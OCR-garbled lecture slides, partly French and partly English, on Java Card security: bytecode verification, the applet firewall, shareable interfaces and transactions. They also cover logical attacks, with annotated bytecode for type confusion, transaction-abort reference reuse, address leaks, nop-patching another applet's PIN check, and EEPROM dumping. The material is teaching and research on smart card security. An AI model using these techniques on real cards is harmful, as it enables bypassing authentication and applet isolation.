[Les mécanismes de sécurité ard

Les com tS de sécurité

verlflees Aucun code hostile ne
: Byte Code Verification

* Lesregles Java doiy
peut entrer da ’

* Le modele ba able (Sand box): vous accédez
seulemen qui vous appartient : Firewall

* Queles oient réalisées ou non, I'état de la VM et ceux
des agphieations doivent rester cohérent : Transaction



Vérification de byte c%

JVM of@e vs. defensive

)

Oracle ne définit g&
vérification,

upigrmat de byte code et un algorithme de

Potentiellement, N &8st possible de coder une JVM défensive,

Jusqu’a prg peu de cartes implémentent une vérification de
byte co

Sile t post-issuance sans controle de provenance est
autori inévitable de I'implémenter;

Souvent ule partie des tests est implémentée dans une version
hybride de VM.



Exemple

Considérons le code suivant:

private int monincrement
public int increment( int base) {
int  resultat ;
resultat = base + monincrement ;
return resultat +1
}

©@J
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Exe@d'exécution

Locales d’Exécution

0 this this
B 43d 0 , 3
b 2 ??
=thre 2 Exécution de aload 0
load 2 * Vérifie que la variable 0 existe
iconst 1  Vérifie qu’elle contient une ref
jadd * Vérifie que la pile n’est pas pleine
ireturn * Empile la valeur de la variable 0 sur la

pile



Exemple d’exécution
Locales d’Exécution

0 this
, anaFI_O 1 3 *
getfield 01 5 »
iload_1 "
:zfloc:e 2 Exécution de getfi@
iload 2 * Vérifie que la p as vide
iconst 1  Vérifie que lgrso est une
jadd référence
ireturn  Vérifie e Teférence n’est pas

nulle e est bien typée
* Vérifi aMp requis

. Em% aleur du champ sur la pile

Exe ‘'exécution

Pile

d’Exécution

Locales
this 37

3 3
”

Exécution de iload 1

IStore_2

load 2  Vérifie que la variable 1 existe

iconst 1  Vérifie qu’elle contient un int

jadd * Vérifie que la pile n’est pas pleine
ireturn * Empile la valeur de la variable 1 sur la

pile



Une telle exécution est coliteuse

* Java est un langage typé
- les instructions sont typées

- la pile d’exécution doit étre typée
- les variables locales doivent étre typées

* Java garantit I'allocation correcte des fr
- les variables locales doivent étre al

7

- les débordements sont systématique t verifiés

* (Ces vérifications étaient un énor

langages a base byte codes
- Java a donc introduit la vé i

9

Pourquoi(¥érifjer le byte code ?

* Certaines propriéte§/sont vérifiables statiquement

- Pas besoin dg\Ngg/vévifier dynamiquement

- Vérificatign une fpis pour toutes au chargement

* La véri peut étre coliteuse
- Le e a été concu par Oracle pour la simplifier
- Les regles sur le byte code sont clairement établies



Comment vérifier le byte code ?

* Il y a plusieurs sortes de propriétés

- les propriétés les plus simples sont des tests (taijlle de

composants, etc.),

- Les propriétés d’exécution nécessitent

u
mécanisme de vérification de type plus Xe

* On effectue une exécution abstraite %‘
- Des valeurs abstraites remplacent [egwatetirs réelles

- Un algorithme de point fixe re s boucles

&

Con s statiques
* Les contrainte I ales sont :
= Onne bran e \grs le code de la méthode
- Les branche s se font vers un début d’instruction
- Unein ion ne peut accéder a une variable locale dont
'ind drieur au nombre déclaré
- To férences vers le constant pool doivent étre
co ent typées

Une m¥thode doit finir avec un return

Les handlers d’exceptions sont délimités par des instructions,
et leur fin est apres leur début



Contraintes structurelles

* Les contraintes principales sont :

* Plus de nombreuses “petites’.

* Des informatior
- Signatures

Toutes les instructions sont exécutées avec les arguments
attendus sur la pile et dans les variables

Une variable locale n’est pas accédée avant de luj
une valeur

La profondeur de la pile ne peut dépasser

On ne peut jamais dépiler plus d’élémen ile n’en
contient

Toutes les invocations sont correcte es

Les champs et méthodes protégé ccédés correctement

Le typage de toutes les assigna

Vérific ‘'une méthode

tincluses dans le class file
peS/des parametres et type retourné)

Taille Maximale de la pile locale d’exécution

ariables locales

ent étre inférées a la vérification
es variables locales

Typage de la pile locale d’exécution



Exemple d’exécution abstraite

Code Variables Pile
Locales d’Exécution
(|

0 ref: C
’ aload_0 1 i @

Int
ﬁce,;f(ljelf 01 2 unknown
:zfoc:e ) Exécution de aloag

iload_2 * Vérifie que la v4
iconsE_l  Vérifie qu’ellg
iadd

ireturn

Exemple@cution abstraite

d’Exécution
int

Locales
0 ref: C

— 1 Int
» 01

2 unknown

0

Exécution de getfield 01

IStore_2

load 2  Vérifie que la pile n’est pas vide
iconst 1  Vérifie que le sommet est une
jadd référence

ireturn * Vérifie le typage de la ref

* Vérifie le champ requis
* Empile la valeur du champ sur la pile



Exemple d’exécution abstraite

Code Variables Pile
Locales d’Exécution

0 ref: C
aload_0 1 int
» ﬁg;f;elf o 2 unknown
:ifocie ) Exécution de iload

iload_2 * Vérifie que la v4
iconsE_l  Vérifie qu’ellg
iadd

ireturn

ogram Stack Map



Incompatibilité de type

sconst_0O
e
ifeq
Program Stack Map ?/A NV
sconst_0O @/ ‘ \
XX .
i
: Compatible with
laload [T~ P
goto XX ™~
A propos de la typ arence et de la vérification

* (C’est un processys-g ple

- Mais I'exemplgd 2 e§ptrivial

- Les branchementss §joutent de la complexité

- Le traite des eXceptions ajoute de la complexité
* Attentio t fes difficile a tester

- Co cas de tests est tres complexe

- Un ormel peut étre la solution la plus simple

* (Capeut bdaucoup réduire le temps d’exécution

- Beaucoup moins de vérifications a 'exécution



Exemple d’exécution vérifiée

Code Variables Pile
Locales d’Exécution

this
’ aload_0 1 3
getfield 01 7 »
iload_1

£l Exécution de al
istore_2 Xecution de al0a

iload 2 * Empile la vale riable O sur la
iconst_1 pile

iadd
ireturn
Exempl%écution vérifiee

Locales
this

_ 1 3
» 01 ,

”

d’Exécution

0

Sthre_ 2 Exécution de getfield 01

load 2 * Vérifie que le sommet n'est pas null
iconst_1 * Dépile la ref en sommet de pile
iadd * Empile le champ requis sur la pile

ireturn



Exemple d’exécution vérifiée

Code Variables Pile
Locales d’Exécution

0 this
aload_0 1 3
getfield 01 5 »
B ioad 1 7
iadd _
:ztore 2 Exécution de iload
iload 2 * Vérifie que la v4N existe
iconst_1 « Vérifie qu’ellg i
iadd
ireturn

Exempl%écution vérifiée

Pile
d’Exécution

Variables
Locales

0 this 37
1 3 3
2 ??

Exécution de iload 1

IStore_2 _ _
load_2 * Empile la valeur de la variable 1 sur la
iconst_1 pile

iadd

ireturn



Conclusion sur la vérification

* La vérification de byte code est au cceur de Java

- L'interpréteur est congu pour fonctionner avec le vérifieur de
BC

- La vérification Java est tres efficace
* Linéaire dans la plupart des cas
* Quadratique dans certains cas complexes

- Linterpréteur Java est tres simple et tres r
* La compilation JIT est également simplifi

* La vérification de BC a fait le succes
- Elle a permis de télécharger du cod traintes
- Elle permet aujourd’hui d’isoler | ications Java.

\\

If wi ass BCV ?

* Type confusion:

- Use an instag $ alvarray...

- Use an injA arrayynstead of a byte array...
- Usear sgead on an int

e Contr
- Bypasssome checks in a method by modifying the PC,
- Jump outside a method...

* Most of pure logical attack are exploiting these possibilities
using byte code engineering.



public short getMyAddress()

short foo;
return foo,

public void process(APDU apdu) throws ISOException

{

case (byte)

Util.setShort(apdu.getBuffer(),(short)0,(short)val)

0X27:

Example

/I retrieve instance address
short val = getMyAddress();

apdu.setOutgoingAndSend( (short) 0O, (short) 2);
break;

\

Q@J

case (byte)0X27:

short val = getMyAddress();

Util.setShort(apdu.getBuffer(),(short)0,(short

apdu.setOutgoingAndSend( (short) 0, (shor

)
\Y

1);

break;
S
NS
18 aload 0 V,
8B 00 OA invokevirtu @ \{\7
32 sstore_3
19 aload ifi
8B 00 07 invo gl N ﬁ
03 S
1F S
8D 00 0C ic 12
3B
19 aloxd 1
03 sconst_0O
05 sconst_2
8B 00 0B invokevirtual 13

Return of getMyAddress

ToS
—

LO this

L1 @apdu
L2 xx

L3 val
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case (byte)0X27:
short val = getMyAddress();

Util.setShort( apdu.getBuffer() ,(short)0,(short)val);

apdu.setOutgoingAndSend( (short) 0, (short) 2);

break;

18 aload 0O
8B 00 OA invokevirtual 11
32 sstore_3

19 aload 1
8B 00 07 invokevirtual 8
03 sconst_0 = =T

1F sload 3
8D 00 0C invokestatic 12
3B pop

19 aload 1
03 sconst_0O <
05 sconst_2
8B 00 0B invokevirtual 13

N

Return of getMyAddress

Q)

Return of getMyAddress

00

case (byte)0OX27:
shértyva)l = getMyAddress(); V
Util.setShort ( apdu.getBuffer() , ( ,(short)val );
apdu.setOutgoingAndSend( (short) O, (shor ;
break;
\ A
18 aload_0
8B 00 0A  invokevirtug \{\7
32 sstore_3
19 aload
8B 00 07 invok I 8
03
1F S G\/
8D 00 0C  {nvaKestatic 12 <
3B o |
19 aloxd 1
03 sconst_0O
05 sconst_2
8B 00 0B invokevirtual 13

Return of getBuffer

Return of getMyAddress

ToS

LO this

L1 @apdu
L2 xx

L3 val

ToS

LO this

L1 @apdu
L2 xx

L3 val



case (byte)0X27:
short val = getMyAddress();
Util.setShort (apdu.getBuffer() ,(short)0,(short)val);
apdu.setOutgoingAndSend( (short) 0, (short) 2);
break;
18 aload 0O
8B 00 OA invokevirtual 11
32 sstore_3
19 aload 1 //.ﬂ ToS
8B 00 07 invokevirtual 8 /)WCJ_
03 sconst_0 ( w»
18 aload 0
e A
8D 00 0C  invokestatic 12 i C\\
3B pop \ng)gemuffer
19 aload 1 Q\\u L0 this
03 sconst_0 <\>
05 sconst_2 >\_/ L1 @apdu
8B 00 0B invokevirtual 13 A < L2 xx

Return of getMyAdd
Si on modifie le byte code ? \> SHurn ot QetiyAGATess | 1.3 yql
sload_3 (1F) remplacé par aload_0 (18) \

Byte ngineering

nstance reference ?

80 27 00 00 00

Reference
87 00 90 00

-




Firewall

Ne%a firewall
(0]

Add a security leyel], viding a protection against
developer mi@s d design oversights that may
n

allowed sensitive data to leaked to another applet,

Maintain g Segregation level between applets
design Uferent manufacturers,
If therEi d, a mechanism to share information has

been defined in the specification,

All the checks are based on the notion of security context.



Context

The applet firewall partitions the Java Card object system
into separate protected object spaces called context.

When an applet instance is created, the JCRE assigy z
context which is essentially a group context.

All applet instances of a single Java package s
group context, %

No specification about the design of the ontext.

The JCRE mai its own security context,

JCRE con special privileges:

There is no firewall en two applet instances in a group
context.
nta

- Acces e JCRE context to any applet’s context



La notion de contexte

Paquetage X Paquetage Y

Contexte 1

Espace des applets -

Espace du systeme

Obj wnership

At any time, theregs ne active context within the virtual
machine: eithe JGRE context or an applet’s group
context.

When an ject’is created, it is assigned an owning
context: ently active context.
JCRE CTX Current CTX
b7 105 s

12
b7




Object ownership

Every object is owned by an applet instance which is
identified by its AID.

When executing in an instance method of an object
object’s owner must be the currently active con

[f the contexts do not match, the access is deni e
comparison results in a Security Exception.

JCRE CTX Current CTX
b7 o5 e
12
b7
JCRE %age A Package B

JCREODj

extends [ ey MyObject

MyShared

extends
Shareable

Global
array

Cf le mécanisme
de partage



Static Fields and Methods

* Only instances of classes i.e. objects, are owned by applets;
classes themselves are not.

 Static fields and methods are accessible from any applet
context in the defining package (i.e. group context)

- Except they are public :in this case, any applet co )can
access them.

System Package A
Package

MyApp1
extends
Applet

Object A across Context

* Sharing mechani ccomplished by the following
means:

- JCRE privilege

- JCRE e int objects
- Glob

- Sh terfaces



Context Switch

 When a sharing mechanism is applied, the Java Card virtual
machine enables access by performing a context switch.

* Context switches occur

- only during invocation of and return from instanég methods of
an object owned by a different context,

- during exception exits form those methods.
JCRECTX Current CTX Current CTX
0S
—_—

\3 -
NN -

ToS
b7 P [ad
12 4y
' 12
b7
b7
C Switch
If Context 1 is the currently gesiye ¢ t, and a method m1lin an object owned by

applet A is invoked, no conte w sh occurs. If method mlinvokes a method m2in an

object owned by applet BragaNa'wo context switch occurs (in spite of the object
“owner” change), and alDrestrictions apply.

However, if the method M2ZRow calls a method mOin an object owned by applet C,

firewall restrictiofds/apply awd, if access is allowed, a context switch shall occur. Upon
return to meth o the method mQ the context of applet B is restored.

Contexte 1

Applet C

No context
switch

Paquetage X Paquetage Y



JCRE Privileges

* JCRE can

- invoke a method on any object or

- access an instance field of any object on the card.

* Such system privileges enable the JCRE to cont | : :

resources and manage applets
- For example, when the JCRE receives an AP Yiand, it
invokes the currently selected applet’s s select or
process method

* Note that during such an invocation/g/c switch occurs
from the JCRE context to the cont e applet

JCRE e oint objects

* By using JCRE e poiftt object, non-privileged users can
request syste es that are performed by privileged
system routinesy

* JCRE entr it objects are normal objects owned by the
JCRE co they have been flagged as containing entry
point



JCRE entry point objects

* The entry point designation allows the public methods of
such objects to be invoked from any context.

 When that occurs, a context switch to the JCRE co
performed.

* Notice that only the public methods of JCRE e
objects are accessible through the firewall.

* The fields of these objects are still protec e firewall.
JCRE e oint objects

* Two categories g Os:

- Temporary ] gntiy point objects:
 Exam : TheMPDU object and all JCRE-owned exception
obje

these objects cannot be stored in class variables,
riables or array components.

- Per et JCRE entry point objects:
* Exaniples: The JCRE-owned AID instances.

* Reference to these objects can be stored and freely used.



Global Arrays
Global arrays essentially provide a shared memory buffer
whose data can be accessed by any applets and by the JCRE.
' @j pct.
- Thus references to these objects cannot be store slass
variables, instance variables or array compone

The applet firewall enables public fields of % ys to be

Global arrays are a special type of JCRE entry poin

accessed from any context.

Only primitive arra %
Only JCRE can i. e global arrays.
a

cays required in the Java Card APIs are the
through getBuffer() method) and the
eter (barray ) inan applet’s install

APDU command, JCRE clears the APDU buffer.

- No leaked message



Example of how specifications describe the FW

* (Class and Object Access Behavior

- This list also includes any special or optimized forms
bytecodes that can be implemented in the Java Car

as getfield b, getfield_s_this, etc.

- Prior to performing the work of the bytecode by
the Java VM, the Java Card VM will perform eck on
the referenced object. If access is denied, t
java.lang.SecurityException is

- The access checks performed by the | aryl)VM depend on
the type and owner of the reference i e bytecode, and

the currently active context. ?
Accessin%ic Class Fields

* Bytecodes: getstatic, atic

e IftheJCREist rently active context, then access is
allowed.

e Otherwis bytecode is putstatic and the field being
stored i nce type and the reference being stored is a
refer emporary JCRE Entry Point Object or a global

array, then access is denied.

* (Otherwise, access is allowed.



Accessing Static Class Fields

getstatic #1 / pustatic #1 ref

;

Yes
CAC = JCRE? Access allowed

L No
pustatic
e Yes .
field is ref_type Access denied
&
~ref to TICRE EPO or GA -

¢N0

Access allowed Very interesting
[llustration du ff ionnement du firewall
package Z; Lpadkage X;
public class Foo { v\jmport Z.%
public static Bar bar; /Y
} <} public class A extends Applet {

public void process(APDU apdu) {
public class Bar {

public void test()
} /4

I':.(')o.bar = new Bar();

\ )
N
w y

package Y;
import Z.%;

public class C extends Applet {
public void process(APDU apdu) {

Bar bar = Foo.bar;
bar.test();




Conclusion

It is a way to perform additional runtime checks,

Other checks are implemented in order to circumve
aggressive applets but are not part of the specific

There are other mechanisms based on hardwar S
dependant (MMU,...).

References
- Michael Montgomery and Ksheerabdhi KiNshn cure object

sharing in java card, Proceedings of th Workshop on
Smartcard Technology on USENIX W, n Smartcard
Technology, 1999, Chicago, Illinois

- Wojciech Mostowski and Erik P
Exploration and Exploitation. P
Sophia-Antipolis, France, Septe

rd Applet Firewall

value gives you the highest privilege.



Applet isolation

* The firewall provides a strong isolation mechanism between
contexts

* Shareable interfaces are a feature in the API to enable t
interaction through a Shareable Interface Object (SIO
* From the owning context, the SIO is a normal obje fields

and methods can be accessed,

* To any other context, only the methods define the ¥itareable
interface are accessible,

* All other fields and methods are protected b wall.
Sha echanism

ct (SI0) cannot be un-shared

e given to an untrusted party

* Methods of an object plements a shareable interface (SI)
can be invoked gh Yhe firewall
* Once shared an

on it c

r needs to obtain a reference to this object

the service methods.



Server Applet A

A defines a Shareable Interface (SI) that extends the interface
javacard.framework.Shareable

Defines a class C that implements SI with the methods ed in
SI,

Defines other methods protected by the firewall
A creates an object instance of class C

Sha Interfaces

Applet B
JCRE Client

JCSystem.getAppletSIO (AID, parameter)

N + SecurityException
Reference on O or null

A

0. M1(

result

v

Under A's context! v



Shareable Interfaces

Applet A
Server

<

Applet.getSIO (AIDg parameter) |,

JCRE

Applet B
Client

JCSystem.getAppletSIO (AIDA‘B ameter)

Reference on O or null

h 4

Under A's|context!

Reference on O or nuI

<<7

)

o M{ﬁ\7

O1. M2() ANY OTHER OBJECT OFAC TE

Y . M2()
result
mple
<< Interface >> Applet
Shareable <?
\\
xtends
LoyaltyServ
<< Int ce >>
Loyaltylnterface | [J install()

N grantPoints()

M Shared methods
[7J Non shared method

implements

[J LoyaltyServ()
[J getShareablelnterfaceObject()
i~ grantPoints()

process()




Example server side

The server must create a shareable interface that extends
javacard.framework.Shareable

package myPackage

import javacard.framework.Shareable
public interface LoyaltyInterface extends Shareable {
public void grantPoint (short amount)
| §

* The server implements the interface
package myPackage
public class LoyaltyServ extends Applet implements Lo tepiae

private short (miles);
public void grantPoint (short amount) {
miles = (short) (miles+amount) ;

Ex client side
* The client needs to kpqw géy¥ver AID,
import myPackage;
public class LoyaltyClient exyengs Applet {
/I request SIO from t
LoyaltyInterface si Interface)
JCSystem.gejpd bleInterfaceObject (AIDServ er, (byte) 0)

if (sio ::null){IS ‘throwlt();}
sio.grantPoif ﬂa& ;

owks up the server applet and invokes the server
MerfaceObject with the client AID as parameter !!!



Example server side

* The server implements the interface
package myPackage

public class LoyaltyServ implements Loyaltylnterfac ef

private short miles;

public void grantPoint (short amount) {

miles = (short) (miles+amount) ;

public Shareable getShareablelnterfaceObject(AID cl )
param){ @c

if (clientAID.equals(myFriend)){

return ((Shareable)this)}
else {return null}
| g

hareablelnterfaceObject (AIDServ er, (byte)

if (sio == null Exception.throwlt();}

sio.grantPoint(th€Amount);



Type confusion with sharing

Poll et al. succeeded with some old cards with type confusion

They have been able to recover twice the size of the array using applets
compiled and loaded separately,

- Modify the signature and try to perform an array overflow,
public interface Mylntextends Shareable {
void accArray(short[] array);}

with for the client
public interface Mylntextends Shareable { g%
void accArray(byte[] array);}
- The server will treat the byte array as a short arr
* However there is still the firewall... thus the/tyi e[] giveArray();

- They demonstrate that some cards allo
References :
- Wojciech Mostowski and Erik Poll. Malicious Code on J&/a\,a artcards: Attacks and Countermeasures.
Proceedings, Smart Card Research and Advanced Applica nce CARDIS 2008, Egham, U.K., September 2008.
LNCS 5189, pages 1-16,

tion

* scan d'applets / n d'identité (spoofing)

- Possible au a cause de contradiction dans GP et ]C.

* Protectio

- Fai entification mutuelle entre les applets
. nt s'il y a collusion entre un partenaire et une
appligation qui n'est pas de confiance (ils peuvent s'échanger les
clés)

- Il faut se fier a la plate-forme avec les méthodes suivantes.
- Utiliser JCSystem.getAlD() et
JCSystem.getPreviousContextAlD() pour empécher
des acces non souhaités !



Transaction mechani%

Atomici%ﬂ transactions

* Smart cards are as a preferred device in such

applications a

- storing personalxonfidential data and

- providi entication services in mobile and distributed
envir
* With d, there is a risk of failure at any time during

applet ution.
- a computational error;

- auser may accidentally remove card from the reader, cutting
off the power supply to the card CPU.



Atomic Operations

* JCRE provides a robust mechanism to ensure atomic
operations:

- The Java Card platform guarantees that any update ingle
field in a persistent object or a single class field i

- The Java Card platform supports a transaction

* Atomicity means update to a single persistent object
field (includin rigy element) or to a class field is
guaranteed to eh€r complete successfully or else be

restored to/gs,original value if an error occurs during the
update.

* The conc atomicity apply only to the contents of
persis rage.



Atomicity (II)

Atomicity defines how the JCRE handles a single data
element in the case of an error (power loss) occurs during an
update to that element

JCRE atomicity feature does not apply to transie

After an error occurs, the transient array is se efgult
values (zero, false or null).

@cﬂons
€ ic

Atomicity guara modifications of a single data

element

ay need to atomically update several
s,in several different objects

For exaple:\¢f£dit or debit transaction
§-\ e transaction number
datephe purse balance

- Write a transaction log

_Up



Transactions

* Java Card technology supports a similar transactional model,
with commit and rollback

* [t guarantees that complex operations can be acco hed
atomically; either they successfully complete or ial

results are not put into effect.

Com@ansactions
// begin a transaction
JCSystem.beginTra ;

/[ all modifications in t of updates of
/I persistent da temporary until
I/ the transachi mitted

/[ commit a sactions
JCSystem.commitTransaction();



Abort Transaction

* Transactions can be aborted either by an applet or by the
JCRE (by calling JCSystem.abortTransaction()
method).

e Aborting a transaction causes the JCRE to throw a
changes made during the transaction and rest

conditionally update fields or array element [
previous value %

e A transaction must be in progress when_ t
abortTransaction method is inv - Jtherwise, the
JCRE throws a TransactionExcepti

Ab(%ansaction

* If power islost opzg % occurs during a transaction, the
JCRE invokes & @ inpernal rollback facility the next time
el

the card is poweged on to restore the data involved in the
transactio thelwpre-transaction value

e Andifa rQ&curs during this rollback... 7 :-)



Transaction Lifecycle

Memo...

Initial State

 JCsystem.beginTransaction() / ‘

- All subsequent updates are conditional
« JCsystem.abortTransaction()

- Undo conditional updates

« JCsystem.commitTransaction() Instr. 4
- Commit conditional updates

Local variables a ran;lent Objects during a
ction

* Update to transient s and local variables are never
undone regar hether or not they were inside a
transaction

e See the ne ge

- key /transient object

- a_ ocal variable



Example

byte[] key_buffer = JCSystem.makeTransientByteArray (KEY_LENGTH, JCSystem.CLEAR_ON_RESET);

Util.arrayCopy(src, src_off, key buffer, 0, KEY_LEN GTH);

Q%
\

Co
* Context switches shalYof alter the state of a transaction in
progress.

e If a transactjon iS\§, progress at the time of a context switch,
updates t@te t data continue to be conditional in the

JCSystem.beginTransaction();

for(byte i =0; i<KEY_LENGTH; i++)
key_buffer[i]=0;

byte a_local = 1;

JCSystem.abortTransaction();

new co the transaction is committed or aborted.
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Abusing the action mechanism

* De-allocation in ort,

locate any object created during the
transaction and _keset references to such object to null.

nsideT = new short[10];

T = arraylnsideT; // local variable
JCSystem.abortTransaction ();
byte[] arrayNewB = new byte[60];

- They all point on the same array and should have null,

- Some implementations do not de-allocate the local variable,

- Some implementations reuse the freed reference.



Abusing the transaction mechanism

short [] localArrayOT = null;
JCSystem.beginTransaction ();
short [] arraylInsideT

Abusing the

arrayNewB

arraylnsideT

localArrayOT

Stack

AN

Heap

EON
O)\]

action mechanism

short [] localArrayOT = null;
JCSystem.beginTransaction (),
short [] arrayinsideT
arraylnsideT = new shor@

arrayNewB

arraylnsideT

localArrayOT

Stack

null

@Oxiiii

null

Heap

/7




Abusing the transaction mechanism

short [] localArrayOT = null; Stack Heap

JCSystem.beginTransaction ();
short [] arraylInsideT
arraylnsideT = new short[10];
localArrayOT = arraylnsideT,;

arrayNewB null )
N

N

arraylnsideT @Oxiiii /
localArrayOT @Oxiii( G

K

Abusing the action mechanism

short [] localArrayOT = null; Stack Heap
JCSystem.beginTransaction (),
short [] arrayinsideT

arraylnsideT = new shor
localArrayOT = arraylnsi
JCSystem.abortTrangactio

arrayNewB null

arraylnsideT null

localArrayOT @Oxiiii




Abusing the transaction mechanism

short [] localArrayOT = null; Stack Heap

JCSystem.beginTransaction ();
short [] arraylInsideT
arraylnsideT = new short[10];
localArrayOT = arraylnsideT,;
JCSystem.abortTransaction ();
byte[] arrayNewB = new byte[60];

arrayNewB @Oxiiii ;

arraylnsideT null

y
localArrayOT @Oxiii( G

e
AN
N

if ((Object) arrayNewB == (Object) localArr, }
itis TR
T nfusion

e confusion

t ¥fter the transaction, the first field
corresponds.often to the NON MODIFIABLE value of the

array size

st field using the reference on the object

modife ze of the array,

* We can p the memory located after the array bypassing

the firewall,



Counter measures

* The most efficient countermeasure:
- disallow the abortTransaction 1"

- implement it correctly: taint the information.

O
&
S

[l typed Applets



Smart Card vulnerabilities

* Real black box approach, no access to code, no
documentation,

* Discovering vulnerabilities,

- Reading documentation, having skilled students g luck,
- Fuzzing technique
* Based on Peach, adapted, mutator revisited, yzer

e HTTP, BIP, CAT-TP, SWI (?)

* Innovation Timing attack to partition
- Formal model

* Java Card interpreter entirely model

* Generate security test cases

* Exploiting vulnerabilities...

* Piled sieves!



* Java Card security

Introduction

- Strong typing — byte code verification

* Java is a strongly typed language,

* Unable to forge or manipulate references.

* These properties are verified at the source level ! ?piler
and at the BC level by the verifier,

* For development cards it is possible to m AP file after
the verification

L'archi

Java source code

* v

\QQ

e Java Card

elopment Library

Java Class files

ava
piler Card
0 Image

jar Byte code verifier,
converter

A 4

Java Card Virtual Machine Off-card loader
!

4 API
Interpreter S
P loader

\_ 0O.S.

Java Card files

— | —

.cap



e public static fields and methods are accessible from
any applet context

System Package A Package B
Package

MyApPD2

extenas

MyApp1
extends
Applet

myApdu <=

nda

* Software attacks wi e Code engineering

- Type confysion™wjth CAP file manipulation



A use case for this attack

* Modify the code of another applet even if not in the same
security context,

* Example:

public void debit (APDU apdu)
{

if (Ipin.isValidated())
{
ISOException.throwlt(SW_AUTHENTIFICA ED);

.. /l[do something safely

Byte code: .. 11 69 85 8D xx xx ... \Q i

A use r this attack

* Modify the code Teér applet even if not in the same

security conte

* Example:

public void debi

ISOExcewtion.throwlt(SW_AUTHENTIFICATION_FAILED);

.. //[do something safely

Byte code: ...1169 858D xxxx.. —..000000 0000 00 ..



Specification

6.2.8.1 Accessing Static Class Fields
Bytecodes: get st atic, putstatic

If the Java Card RE is the currently active context, a c@ :
allowed.

Otherwise, if the byte code is put st at i ¢ and the'fiel@ being
stored is a reference type and the reference ed is a
reference to a temporary Java Card RE En nt)Object or a

global array, access is denied.

tives

Otherwise, access is allowed.

getstatic canr ory byte in the eeprom area

We need to be § ecify the address to be read as an

operand of the ga{stati )

. . : Can be done very easily in a

= This p is resolved by the linker, static way (but it is very long).
Principle is based on similar
modifications of CAP file to
those for the optimized
version

- Wen e the linker,

To optimi¥e the attack we need to be able to execute a
mutable code,

- Fix the base address of the dump area,
- Auto increment of the operand,

- Run a Java array (yes we can!).



Principle

* Two problems to solve:

1. Retrieving information from the card: i.e., modifying value on
the Java stack.

e Solution: modification of the CAP file in a coher

- References can be maliciously manipulated

* Conversion to integer, arithmetic operation,

- Only checked through the BC verifier,

- A bit complex to do due to multiple in tign) between
components.
* Need a tool that “recompiles” a% CAP file.
ciple

* Two problems tgsp

1.
2. Hard c erand in a method: i.e. modifying the class
repre in the card (invoke xxxx  — invoke yyyy
e Solut eferences that need to be resolved are
specifie the reference component of the cap file,

- Optimization for the linker,

- Removing the reference from this component.



Sketch of the attack in three steps

 We need to read and write anywhere @
in the eeprom Another Security Context
N
* In order to do it in an optimized way @
we need mutable code, tione

(1) - To perform mutable code we need to Read

manipulate arrays, and get their '

physical address. .
. 5

| - To access the array as a method we &
need to access our own instance ?
First step reve array address
public short getMyAddresstabBytefsyte(]

{
short toto=(byte)OxAA;

tab[0] = (byte)OxFF;
return toto;

public void process apdu) throws ISOException

/[ provide an array address

apoiu.setOu oingAndSend( (short’) 0, (’short) 2);
break;



public short getMyAddresstabByte(byte[] tab)

{
short toto=(byte)OxAA,;

tab[0] = (byte)OXFF;
return toto;

}

getMyAddresstabByte (byte[] tab)
{

03 I/l flags: 0 // max_stack: 3
21 /l nargs: 2 // max_locals: 1
10 AA bspush -86

31 sstore 2

19 aload 1

03 sconst_0O

02 sconst_ ml

39 sastore

1E sload 2

78 sreturn

}

V/? P
&

public short getMyAddresstabByte(byte[] tab)

{
short toto=(byte)OxAA,;
tab[0] = (byte)OxFF;
return toto;

) (N

4

A W .

getMyAddresstabByte (byte[] tab)/
{
03 // flags: 0// ack: 3

21 Il nargs: 2// m cals: 1
10 AA bspush

31
19
03
02
39
1E B
78 sreturn

}

=1

AA

this

@tab

ToS
D

Lo

L1
L2 toto

ToS

LO

L1
L2 toto



public short getMyAddresstabByte(byte[] tab)

{
short toto=(byte)0xAA,;

tab[0] = (byte)OxFF;
return toto;

}

getMyAddresstabByte (byte[] tab)

{

03 I/l flags: 0 // max_stack: 3
21 /l nargs: 2 // max_locals: 1
10 AA bspush -86

31 sstore 2

19 aload 1

03 sconst_0O

02 sconst_ ml

39 sastore

1E sload 2

78 sreturn

}

/{\\\%V

public short getMyAddresstabByte(byte[] tab)

{
short toto=(byte)OxAA,;

tab[0] = (byte)OXFF;
return toto;

) (N

4

A W .

getMyAddresstabByte (byte[] taby/,
{
03 Il flags: 0/ ax_stack: 3 = T 1

21 Il nargs: A// m cals: 1
10 AA bspush

31 sstor

19 aload\

03 S

02 scon 1

39 sastore

1E sload 2

78 sreturn

}

<\<\
\%
A@

FF

00

@tab

this

@tab

ToS
D

Lo

L1
L2 toto

LO

L1
L2 toto



public short getMyAddresstabByte(byte[] tab)

{
short toto=(byte)OxAA,;

tab[0] = (byte)OXFF;
return toto;

}

getMyAddresstabByte (byte[] tab)

{
03 I/l flags: 0 // max_stack: 3
21 /l nargs: 2 // max_locals: 1 ﬁ
10 AA bspush -86 /)WCD
31 sstore 2 ( w \)
19 aload_1 /D
03 sconst_0 ﬁ,\&//
02 sconst_ml Q\\L'/O) V <_TOS
39 sastore \\Q/A A
1E sload_2 <\ _
78 sreturn p—1 >\g this LO
} AN @tab L1
%w AA L2 toto
public short getMyAddresstabByte(byte[] tab)
; A4
short toto=(byte)OxAA,
tab[0] = (byte)OXFF;
return toto;
! O
getMyAddresstabByte (byte[] t
{
03 // flags: 0// ack: 3
21 Il nargs: 2// m cals: 1
10 AA bspush
31 sstor
19 aloa p—1
00 n
00 nop <_TOS
00 nop @tab
00 nop _
78 sreturn this Lo
} @tab L1
AA L2 toto




Usage

Array address?

80 29 00 00 00

3

94 4C 90 00
; o
The address is 0x94
* We succeed to retrieve a referenc card memory.
* This should be impossible if a verifi s embedded

\\

invo¥ation with our array address

 We will be able to execute arbitrary code that can be
dynamically modified



Access to our own embedded code

* Itis impossible to invoke an arbitrary byte array.

* Thus we need to lure the interpreter,

-
CA -

- By retrieving our instance's reference we can find ¢
address and so our method's address.

- We will replace the invokestatic dummyMetho y
invokestatic myArray , which addres has
been retrieved in the previous step.

- We are using the instruction invokevirtgal o retrieve this
reference.

\QQ

Reminder:%t representation
Ve
An instance reference
R/

' V header
A pointer on the Ee, ro%\‘é (@ class @ ml
@ m2

Instance data >

Instance data @ m3
@ m4
header
Sec. context header
Static variable byte code

(@ Meth. table




Second step retrieve address of my Trojan instance

public short getMyAddress()

{

short toto; A vous de trouver les modifications a faire
return toto,

} dans le byte code: -)

public void process (APDU apdu) throws ISOException
| §

EE.J.SG (byte) 0X27: Il retrieve instance address
short val = getMyAddress();
Util.setShort(apdu.getBuffer(),(short)0,(short)val)

apdu.setOutgoingAndSend( (short) 0, (short) 2): '
break;

ge

nstance reference?

80 27 00 00 00

9235 9000

-

